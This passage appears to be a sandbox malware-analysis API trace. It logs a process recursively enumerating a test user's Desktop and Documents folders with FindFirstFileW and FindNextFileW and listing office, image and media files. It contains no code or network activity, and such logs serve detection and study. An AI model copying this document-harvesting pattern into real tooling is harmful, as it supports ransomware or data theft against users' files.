ftLastWriteTime.dwHighDateTime=0x1d99464, nFileSizeHigh=0x0, nFileSizeLow=0x4747, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tof29QbuVbwvOLyeWJ1.jpg", cAlternateFileName="TOF29Q~1.JPG")) returned 1 [0221.031] FindNextFileW (in: hFindFile=0x1d1f4450, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1776d80, ftCreationTime.dwHighDateTime=0x1d992fa, ftLastAccessTime.dwLowDateTime=0x3af599a0, ftLastAccessTime.dwHighDateTime=0x1d99b0b, ftLastWriteTime.dwLowDateTime=0x3af599a0, ftLastWriteTime.dwHighDateTime=0x1d99b0b, nFileSizeHigh=0x0, nFileSizeLow=0x5785, dwReserved0=0x0, dwReserved1=0x0, cFileName="udML.flv", cAlternateFileName="")) returned 1 [0221.031] FindNextFileW (in: hFindFile=0x1d1f4450, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f740080, ftCreationTime.dwHighDateTime=0x1d996c5, ftLastAccessTime.dwLowDateTime=0x741dd540, ftLastAccessTime.dwHighDateTime=0x1d99853, ftLastWriteTime.dwLowDateTime=0x741dd540, ftLastWriteTime.dwHighDateTime=0x1d99853, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v4OxFqys9SERg2Ep", cAlternateFileName="V4OXFQ~1")) returned 1 [0221.031] FindNextFileW (in: hFindFile=0x1d1f4450, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85471660, ftCreationTime.dwHighDateTime=0x1d998a3, ftLastAccessTime.dwLowDateTime=0xbbc17560, ftLastAccessTime.dwHighDateTime=0x1d99933, ftLastWriteTime.dwLowDateTime=0xbbc17560, ftLastWriteTime.dwHighDateTime=0x1d99933, nFileSizeHigh=0x0, nFileSizeLow=0x8028, dwReserved0=0x0, dwReserved1=0x0, cFileName="xJpnr_pWFfFc6xIWN.mp4", cAlternateFileName="XJPNR_~1.MP4")) returned 1 [0221.031] FindNextFileW (in: hFindFile=0x1d1f4450, lpFindFileData=0x1db9e480 | out: lpFindFileData=0x1db9e480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85471660, ftCreationTime.dwHighDateTime=0x1d998a3, ftLastAccessTime.dwLowDateTime=0xbbc17560, ftLastAccessTime.dwHighDateTime=0x1d99933, ftLastWriteTime.dwLowDateTime=0xbbc17560, ftLastWriteTime.dwHighDateTime=0x1d99933, nFileSizeHigh=0x0, nFileSizeLow=0x8028, dwReserved0=0x0, dwReserved1=0x0, cFileName="xJpnr_pWFfFc6xIWN.mp4", cAlternateFileName="XJPNR_~1.MP4")) returned 0 [0221.032] FindClose (in: hFindFile=0x1d1f4450 | out: hFindFile=0x1d1f4450) returned 1 [0221.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6e0) returned 1 [0221.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e6a0) returned 1 [0221.032] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0221.032] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\zlUG\\v4OxFqys9SERg2Ep", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\zlUG\\v4OxFqys9SERg2Ep", lpFilePart=0x0) returned 0x33 [0221.032] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\zlUG\\v4OxFqys9SERg2Ep\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\zlug\\v4oxfqys9serg2ep\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f740080, ftCreationTime.dwHighDateTime=0x1d996c5, ftLastAccessTime.dwLowDateTime=0x741dd540, ftLastAccessTime.dwHighDateTime=0x1d99853, ftLastWriteTime.dwLowDateTime=0x741dd540, ftLastWriteTime.dwHighDateTime=0x1d99853, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f49f0 [0221.032] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f740080, ftCreationTime.dwHighDateTime=0x1d996c5, ftLastAccessTime.dwLowDateTime=0x741dd540, ftLastAccessTime.dwHighDateTime=0x1d99853, ftLastWriteTime.dwLowDateTime=0x741dd540, ftLastWriteTime.dwHighDateTime=0x1d99853, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.033] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97cfc8d0, ftCreationTime.dwHighDateTime=0x1d99674, ftLastAccessTime.dwLowDateTime=0x9ba896e0, ftLastAccessTime.dwHighDateTime=0x1d99a3d, ftLastWriteTime.dwLowDateTime=0x9ba896e0, ftLastWriteTime.dwHighDateTime=0x1d99a3d, nFileSizeHigh=0x0, nFileSizeLow=0x46a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="0bh7BCxR7LUoQqWX.ods", cAlternateFileName="0BH7BC~1.ODS")) returned 1 [0221.033] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30865540, ftCreationTime.dwHighDateTime=0x1d999e9, ftLastAccessTime.dwLowDateTime=0x7d35e50, ftLastAccessTime.dwHighDateTime=0x1d99ad3, ftLastWriteTime.dwLowDateTime=0x7d35e50, ftLastWriteTime.dwHighDateTime=0x1d99ad3, nFileSizeHigh=0x0, nFileSizeLow=0x18aba, dwReserved0=0x0, dwReserved1=0x0, cFileName="7fmpW.png", cAlternateFileName="")) returned 1 [0221.033] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ef1ce0, ftCreationTime.dwHighDateTime=0x1d990af, ftLastAccessTime.dwLowDateTime=0xddc8a4e0, ftLastAccessTime.dwHighDateTime=0x1d992cf, ftLastWriteTime.dwLowDateTime=0xddc8a4e0, ftLastWriteTime.dwHighDateTime=0x1d992cf, nFileSizeHigh=0x0, nFileSizeLow=0x130f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AWBajIJ0K_ACZM.mp3", cAlternateFileName="AWBAJI~1.MP3")) returned 1 [0221.033] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ca3b40, ftCreationTime.dwHighDateTime=0x1d996f8, ftLastAccessTime.dwLowDateTime=0x25762ad0, ftLastAccessTime.dwHighDateTime=0x1d99968, ftLastWriteTime.dwLowDateTime=0x25762ad0, ftLastWriteTime.dwHighDateTime=0x1d99968, nFileSizeHigh=0x0, nFileSizeLow=0x17e53, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bv4q0wR5V-OcqG9.doc", cAlternateFileName="BV4Q0W~1.DOC")) returned 1 [0221.033] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9f2e90, ftCreationTime.dwHighDateTime=0x1d99b2f, ftLastAccessTime.dwLowDateTime=0xd366be30, ftLastAccessTime.dwHighDateTime=0x1d99c46, ftLastWriteTime.dwLowDateTime=0xd366be30, ftLastWriteTime.dwHighDateTime=0x1d99c46, nFileSizeHigh=0x0, nFileSizeLow=0x210c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CCFPQUAYhvoMRjz.wav", cAlternateFileName="CCFPQU~1.WAV")) returned 1 [0221.033] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x524f7f50, ftCreationTime.dwHighDateTime=0x1d99780, ftLastAccessTime.dwLowDateTime=0x87bfd110, ftLastAccessTime.dwHighDateTime=0x1d99a70, ftLastWriteTime.dwLowDateTime=0x87bfd110, ftLastWriteTime.dwHighDateTime=0x1d99a70, nFileSizeHigh=0x0, nFileSizeLow=0x4ff9, dwReserved0=0x0, dwReserved1=0x0, cFileName="OlPs7QsVhp.swf", cAlternateFileName="OLPS7Q~1.SWF")) returned 1 [0221.034] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86735650, ftCreationTime.dwHighDateTime=0x1d994fe, ftLastAccessTime.dwLowDateTime=0x327d3c50, ftLastAccessTime.dwHighDateTime=0x1d99972, ftLastWriteTime.dwLowDateTime=0x327d3c50, ftLastWriteTime.dwHighDateTime=0x1d99972, nFileSizeHigh=0x0, nFileSizeLow=0x17e1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWvItbArNmZff.flv", cAlternateFileName="OWVITB~1.FLV")) returned 1 [0221.034] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6a8bc0, ftCreationTime.dwHighDateTime=0x1d991f8, ftLastAccessTime.dwLowDateTime=0x18e16d20, ftLastAccessTime.dwHighDateTime=0x1d99b61, ftLastWriteTime.dwLowDateTime=0x18e16d20, ftLastWriteTime.dwHighDateTime=0x1d99b61, nFileSizeHigh=0x0, nFileSizeLow=0x4e5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ruk9KgnrCsYHJck 8Z.m4a", cAlternateFileName="RUK9KG~1.M4A")) returned 1 [0221.034] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeab2f080, ftCreationTime.dwHighDateTime=0x1d99553, ftLastAccessTime.dwLowDateTime=0xa1eee300, ftLastAccessTime.dwHighDateTime=0x1d99575, ftLastWriteTime.dwLowDateTime=0xa1eee300, ftLastWriteTime.dwHighDateTime=0x1d99575, nFileSizeHigh=0x0, nFileSizeLow=0x18b30, dwReserved0=0x0, dwReserved1=0x0, cFileName="_jL9ahNdfgXCsOF-Itea.docx", cAlternateFileName="_JL9AH~1.DOC")) returned 1 [0221.034] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0221.034] FindClose (in: hFindFile=0x1d1f49f0 | out: hFindFile=0x1d1f49f0) returned 1 [0221.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0221.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9dee0) returned 1 [0221.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9dff0) returned 1 [0221.034] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\zlUG\\v4OxFqys9SERg2Ep", nBufferLength=0x105, lpBuffer=0x1db9dad0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Desktop\\zlUG\\v4OxFqys9SERg2Ep", lpFilePart=0x0) returned 0x33 [0221.035] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Desktop\\zlUG\\v4OxFqys9SERg2Ep\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\zlug\\v4oxfqys9serg2ep\\*"), lpFindFileData=0x1db9dd00 | out: lpFindFileData=0x1db9dd00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f740080, ftCreationTime.dwHighDateTime=0x1d996c5, ftLastAccessTime.dwLowDateTime=0x741dd540, ftLastAccessTime.dwHighDateTime=0x1d99853, ftLastWriteTime.dwLowDateTime=0x741dd540, ftLastWriteTime.dwHighDateTime=0x1d99853, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f54d0 [0221.035] FindNextFileW (in: hFindFile=0x1d1f54d0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1f740080, ftCreationTime.dwHighDateTime=0x1d996c5, ftLastAccessTime.dwLowDateTime=0x741dd540, ftLastAccessTime.dwHighDateTime=0x1d99853, ftLastWriteTime.dwLowDateTime=0x741dd540, ftLastWriteTime.dwHighDateTime=0x1d99853, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.035] FindNextFileW (in: hFindFile=0x1d1f54d0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97cfc8d0, ftCreationTime.dwHighDateTime=0x1d99674, ftLastAccessTime.dwLowDateTime=0x9ba896e0, ftLastAccessTime.dwHighDateTime=0x1d99a3d, ftLastWriteTime.dwLowDateTime=0x9ba896e0, ftLastWriteTime.dwHighDateTime=0x1d99a3d, nFileSizeHigh=0x0, nFileSizeLow=0x46a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="0bh7BCxR7LUoQqWX.ods", cAlternateFileName="0BH7BC~1.ODS")) returned 1 [0221.035] FindNextFileW (in: hFindFile=0x1d1f54d0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30865540, ftCreationTime.dwHighDateTime=0x1d999e9, ftLastAccessTime.dwLowDateTime=0x7d35e50, ftLastAccessTime.dwHighDateTime=0x1d99ad3, ftLastWriteTime.dwLowDateTime=0x7d35e50, ftLastWriteTime.dwHighDateTime=0x1d99ad3, nFileSizeHigh=0x0, nFileSizeLow=0x18aba, dwReserved0=0x0, dwReserved1=0x0, cFileName="7fmpW.png", cAlternateFileName="")) returned 1 [0221.035] FindNextFileW (in: hFindFile=0x1d1f54d0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ef1ce0, ftCreationTime.dwHighDateTime=0x1d990af, ftLastAccessTime.dwLowDateTime=0xddc8a4e0, ftLastAccessTime.dwHighDateTime=0x1d992cf, ftLastWriteTime.dwLowDateTime=0xddc8a4e0, ftLastWriteTime.dwHighDateTime=0x1d992cf, nFileSizeHigh=0x0, nFileSizeLow=0x130f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="AWBajIJ0K_ACZM.mp3", cAlternateFileName="AWBAJI~1.MP3")) returned 1 [0221.036] FindNextFileW (in: hFindFile=0x1d1f54d0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68ca3b40, ftCreationTime.dwHighDateTime=0x1d996f8, ftLastAccessTime.dwLowDateTime=0x25762ad0, ftLastAccessTime.dwHighDateTime=0x1d99968, ftLastWriteTime.dwLowDateTime=0x25762ad0, ftLastWriteTime.dwHighDateTime=0x1d99968, nFileSizeHigh=0x0, nFileSizeLow=0x17e53, dwReserved0=0x0, dwReserved1=0x0, cFileName="Bv4q0wR5V-OcqG9.doc", cAlternateFileName="BV4Q0W~1.DOC")) returned 1 [0221.036] FindNextFileW (in: hFindFile=0x1d1f54d0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9f2e90, ftCreationTime.dwHighDateTime=0x1d99b2f, ftLastAccessTime.dwLowDateTime=0xd366be30, ftLastAccessTime.dwHighDateTime=0x1d99c46, ftLastWriteTime.dwLowDateTime=0xd366be30, ftLastWriteTime.dwHighDateTime=0x1d99c46, nFileSizeHigh=0x0, nFileSizeLow=0x210c, dwReserved0=0x0, dwReserved1=0x0, cFileName="CCFPQUAYhvoMRjz.wav", cAlternateFileName="CCFPQU~1.WAV")) returned 1 [0221.036] FindNextFileW (in: hFindFile=0x1d1f54d0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x524f7f50, ftCreationTime.dwHighDateTime=0x1d99780, ftLastAccessTime.dwLowDateTime=0x87bfd110, ftLastAccessTime.dwHighDateTime=0x1d99a70, ftLastWriteTime.dwLowDateTime=0x87bfd110, ftLastWriteTime.dwHighDateTime=0x1d99a70, nFileSizeHigh=0x0, nFileSizeLow=0x4ff9, dwReserved0=0x0, dwReserved1=0x0, cFileName="OlPs7QsVhp.swf", cAlternateFileName="OLPS7Q~1.SWF")) returned 1 [0221.036] FindNextFileW (in: hFindFile=0x1d1f54d0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86735650, ftCreationTime.dwHighDateTime=0x1d994fe, ftLastAccessTime.dwLowDateTime=0x327d3c50, ftLastAccessTime.dwHighDateTime=0x1d99972, ftLastWriteTime.dwLowDateTime=0x327d3c50, ftLastWriteTime.dwHighDateTime=0x1d99972, nFileSizeHigh=0x0, nFileSizeLow=0x17e1a, dwReserved0=0x0, dwReserved1=0x0, cFileName="OWvItbArNmZff.flv", cAlternateFileName="OWVITB~1.FLV")) returned 1 [0221.036] FindNextFileW (in: hFindFile=0x1d1f54d0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed6a8bc0, ftCreationTime.dwHighDateTime=0x1d991f8, ftLastAccessTime.dwLowDateTime=0x18e16d20, ftLastAccessTime.dwHighDateTime=0x1d99b61, ftLastWriteTime.dwLowDateTime=0x18e16d20, ftLastWriteTime.dwHighDateTime=0x1d99b61, nFileSizeHigh=0x0, nFileSizeLow=0x4e5f, dwReserved0=0x0, dwReserved1=0x0, cFileName="ruk9KgnrCsYHJck 8Z.m4a", cAlternateFileName="RUK9KG~1.M4A")) returned 1 [0221.037] FindNextFileW (in: hFindFile=0x1d1f54d0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeab2f080, ftCreationTime.dwHighDateTime=0x1d99553, ftLastAccessTime.dwLowDateTime=0xa1eee300, ftLastAccessTime.dwHighDateTime=0x1d99575, ftLastWriteTime.dwLowDateTime=0xa1eee300, ftLastWriteTime.dwHighDateTime=0x1d99575, nFileSizeHigh=0x0, nFileSizeLow=0x18b30, dwReserved0=0x0, dwReserved1=0x0, cFileName="_jL9ahNdfgXCsOF-Itea.docx", cAlternateFileName="_JL9AH~1.DOC")) returned 1 [0221.037] FindNextFileW (in: hFindFile=0x1d1f54d0, lpFindFileData=0x1db9dcc0 | out: lpFindFileData=0x1db9dcc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeab2f080, ftCreationTime.dwHighDateTime=0x1d99553, ftLastAccessTime.dwLowDateTime=0xa1eee300, ftLastAccessTime.dwHighDateTime=0x1d99575, ftLastWriteTime.dwLowDateTime=0xa1eee300, ftLastWriteTime.dwHighDateTime=0x1d99575, nFileSizeHigh=0x0, nFileSizeLow=0x18b30, dwReserved0=0x0, dwReserved1=0x0, cFileName="_jL9ahNdfgXCsOF-Itea.docx", cAlternateFileName="_JL9AH~1.DOC")) returned 0 [0221.037] FindClose (in: hFindFile=0x1d1f54d0 | out: hFindFile=0x1d1f54d0) returned 1 [0221.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9df20) returned 1 [0221.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9dee0) returned 1 [0221.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9ef70) returned 1 [0221.037] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents", nBufferLength=0x105, lpBuffer=0x1db9ea50, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents", lpFilePart=0x0) returned 0x1f [0221.037] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\*"), lpFindFileData=0x1db9ec80 | out: lpFindFileData=0x1db9ec80*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf55efa29, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf55efa29, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d1f49f0 [0221.038] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3ced6473, ftCreationTime.dwHighDateTime=0x1d70068, ftLastAccessTime.dwLowDateTime=0xf55efa29, ftLastAccessTime.dwHighDateTime=0x1d99d1c, ftLastWriteTime.dwLowDateTime=0xf55efa29, ftLastWriteTime.dwHighDateTime=0x1d99d1c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0221.038] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd2e5560, ftCreationTime.dwHighDateTime=0x1d96b2a, ftLastAccessTime.dwLowDateTime=0x9bfbf9a0, ftLastAccessTime.dwHighDateTime=0x1d97212, ftLastWriteTime.dwLowDateTime=0x9bfbf9a0, ftLastWriteTime.dwHighDateTime=0x1d97212, nFileSizeHigh=0x0, nFileSizeLow=0x135d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="6AN4nz0V.docx", cAlternateFileName="6AN4NZ~1.DOC")) returned 1 [0221.038] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb39e910, ftCreationTime.dwHighDateTime=0x1d99ca6, ftLastAccessTime.dwLowDateTime=0xfbb31280, ftLastAccessTime.dwHighDateTime=0x1d99cb9, ftLastWriteTime.dwLowDateTime=0xfbb31280, ftLastWriteTime.dwHighDateTime=0x1d99cb9, nFileSizeHigh=0x0, nFileSizeLow=0xc8b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="7r6iD9tNXb0XEBup.ods", cAlternateFileName="7R6ID9~1.ODS")) returned 1 [0221.038] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4bb8b70, ftCreationTime.dwHighDateTime=0x1d972e2, ftLastAccessTime.dwLowDateTime=0xe3def130, ftLastAccessTime.dwHighDateTime=0x1d99b09, ftLastWriteTime.dwLowDateTime=0xe3def130, ftLastWriteTime.dwHighDateTime=0x1d99b09, nFileSizeHigh=0x0, nFileSizeLow=0xda76, dwReserved0=0x0, dwReserved1=0x0, cFileName="94v2XcZlXqtK5IP.pptx", cAlternateFileName="94V2XC~1.PPT")) returned 1 [0221.038] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8ea10f0, ftCreationTime.dwHighDateTime=0x1d9959a, ftLastAccessTime.dwLowDateTime=0xb1557f30, ftLastAccessTime.dwHighDateTime=0x1d99aec, ftLastWriteTime.dwLowDateTime=0xb1557f30, ftLastWriteTime.dwHighDateTime=0x1d99aec, nFileSizeHigh=0x0, nFileSizeLow=0x85c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="A-a tUCyUrsK-Kdjh1M.odt", cAlternateFileName="A-ATUC~1.ODT")) returned 1 [0221.038] FindNextFileW (in: hFindFile=0x1d1f49f0, lpFindFileData=0x1db9ec40 | out: lpFindFileData=0x1db9ec40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e843320, ftCreationTime.dwHighDateTime=0x1d95dbd, ftLastAccessTime.dwLowDateTime=0xaa75a950, ftLastAccessTime.dwHighDateTime=0x1d963f7, ftLastWriteTime.dwLowDateTime=0xaa75a950, ftLastWriteTime.dwHighDateTime=0x1d963f7, nFileSizeHigh=0x0, nFileSizeLow=0xaaad, dwReserved0=0x0, dwReserved1=0x0, cFileName="a1cGXLEy.docx", cAlternateFileName="A1CGXL~1.DOC")) returned 1 [0221.041] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0221.042] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Music", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Music", lpFilePart=0x0) returned 0x28 [0221.042] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Music\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\my music\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0221.042] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e750) returned 1 [0221.044] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0221.044] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Pictures", lpFilePart=0x0) returned 0x2b [0221.044] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Pictures\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\my pictures\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0221.044] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1db9e750) returned 1 [0221.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1db9e7b0) returned 1 [0221.046] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Pictures", nBufferLength=0x105, lpBuffer=0x1db9e290, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Pictures", lpFilePart=0x0) returned 0x2b [0221.046] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\Documents\\My Pictures\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\documents\\my pictures\\*"), lpFindFileData=0x1db9e4c0 | out: lpFindFileData=0x1db9e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, 